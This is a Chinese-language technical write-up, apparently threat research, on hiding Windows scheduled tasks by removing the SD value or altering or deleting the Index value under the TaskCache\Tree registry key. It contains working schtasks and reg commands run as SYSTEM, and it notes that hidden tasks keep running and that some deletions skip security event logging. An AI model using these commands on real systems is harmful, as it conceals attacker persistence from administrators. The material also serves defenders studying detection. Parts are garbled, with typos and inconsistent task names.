通过删除 Windows 注册表路径 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME 中的 SD 值来隐藏其计划任务

Threat Actor

创建每个计划任务时,会创建两个注册表子项

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME


2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}

在 Tasks 路径中创建的第二个子项 {GUID}Tree 子项中的 Id 值匹配

通过删除 SD 值,让命令失效 schtasks /query

当创建计划任务时,除了 Tree 和 Tasks 子项之外,还会创建一个子项。 取决于任务是否计划在引导时运行(由 schtasks /create 命令中的 /sc onstart 参数指示)或在 用户登录期间运行(由 schtasks /create 命令中的 /sc onlogon 参数指示)或在 除引导 或 登录

1. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Boot\{GUID}

2. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{GUID}

3. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{GUID}

Tree 子项中的 Index 值也与计划任务关联的第三个子项相关。 Index 值设置为 0x1 , 0x2 , 0x3

All tasks registered within the path HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Boot has Index value of 0x1

2. All tasks registered within the path HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon has Index value of 0x2

3. All tasks registered within the path HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\(Plain or Maintenance) has Index value of 0x3

每个计划任务都是启动或登录或普通或维护的一部分,因此索引似乎只有三个可能的值,即 0x1、0x2、0x3

  1. 隐藏特定的计划任务:将 Tree 子项中的 Index 值设置为 0x0 会在任务计划程序应用程序 和 schtasks /query 的输出中隐藏该任务。但是,即使系统重新启动,任务也会继续按照计划运行。尝试使用 schtasks /change 命令修改索引设置为 0x0 的任务,该任务将被删除。但是,与计划任务删除对应的事件 ID 4699 不会报告到 Windows 安全事件日志。

  2. 隐藏所有计划任务:删除 Index 值会导致任务计划程序应用程序 和 schtasks /query 失败,并显示错误消息 “发生内部错误”,这实际上隐藏了所有计划任务。现有任务继续运行,并且仍然可以创建新任务。

将索引设置为任何其他值 0x4、0xffff 等不会隐藏计划任务,并且任务将继续按照其计划运行。

创建一个计划任务在任何用户登录的情况下执行

schtasks /create /tn TestTask /tr cmd.exe /sc onlogon /rl highest
schtasks /query | where {$_ -match "TestTask"}
TestTask                                 N/A                    就绪

查看三个键值

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49C391EC-9065-4092-87DF-05F65CEBB0D1}

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{49C391EC-9065-4092-87DF-05F65CEBB0D1}

index 值为 2

Hide Scheduled Task

创建另一个计划任务,该任务以 SYSTEM 权限执行一次(在创建 ImpTask 之后),并将其 Index 值设置为 0x0

C:\Users\Administrator>schtasks /create /tn ModifyIndexTask /tr "reg add \"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask\" /v Index /t REG_DWORD /d 0x0 /f" /ru "NT AUTHORITY\SYSTEM" /rl highest /sc once /st "10:14"
# 成功: 成功创建计划任务 "ModifyIndexTask"。

设置为 0x0 , schtasks /query | findstr -i "TestTask" 无法查看 但是可以采用 \tn

PS C:\Users\Administrator> schtasks /query /tn "TestTask"

文件夹: \
任务名                                   下次运行时间           模式
======================================== ====================== ===============
TestTask                                 N/A                    就绪
PS C:\Users\Administrator> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask
    SD    REG_BINARY    01000480880000009800000000000000140000000200740004000000001018009F011F0001020000000000052000000020020000001014009F011F0001010000000000051200000000101800FF011F00010200000000000520000000200200000000240089001200010500000000000515000000B91F081A59F058001BA317BDF40100001200000001020000000000052000000020020000010500000000000515000000B91F081A59F058001BA317BD01020000
    Id    REG_SZ    {49C391EC-9065-4092-87DF-05F65CEBB0D1}
    Index    REG_DWORD    0x0

使用 schtasks /change /tr 命令更改 TestTask 中的程序名称,任务将被删除,但是Windows日志不会报 4699 计划任务删除 和 4702 计划任务更新 但是使用 schtasks /delete 则会出现 4699

Hide All Schedyled Tasks

使用 SYSTEM 权限执行的计划任务并删除 TeskTask 子项中的 Index 值。

schtasks /create /tn ModifyIndexTask /tr "reg.exe delete \"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ImpTask\" /v Index /f" /ru "NT AUTHORITY\SYSTEM" /rl highest /sc once /st "10:20"

一旦删除了 TestTask 子项中的 Index 值,所有计划任务都会从任务计划程序应用程序 和 schtasks /query 命令的输出中消失,收到一条错误消息:“发生了内部错误” 即使在参数 /tn 中指定任务名称 TestTask 也不起作用

尽管不显示,但是他们仍然会执行每个计划任务,即使系统重新启动后,仍然无法查看计划任务。

schtasks /change 命令修改 会再次修改 index

使用 schtasks /delete 删除 TestTask(删除索引值后)时,该命令失败并显示错误消息。接下来,当我们尝试使用 schtasks 更改 TestTask/change 命令,TestTask 子项中的 Index 值已恢复,所有任务重新出现在 Task Scheduler 应用程序中,并且 schtasks /query 的执行也成功

而且必须要让 schtasks /delete 先执行,再执行 schtasks /change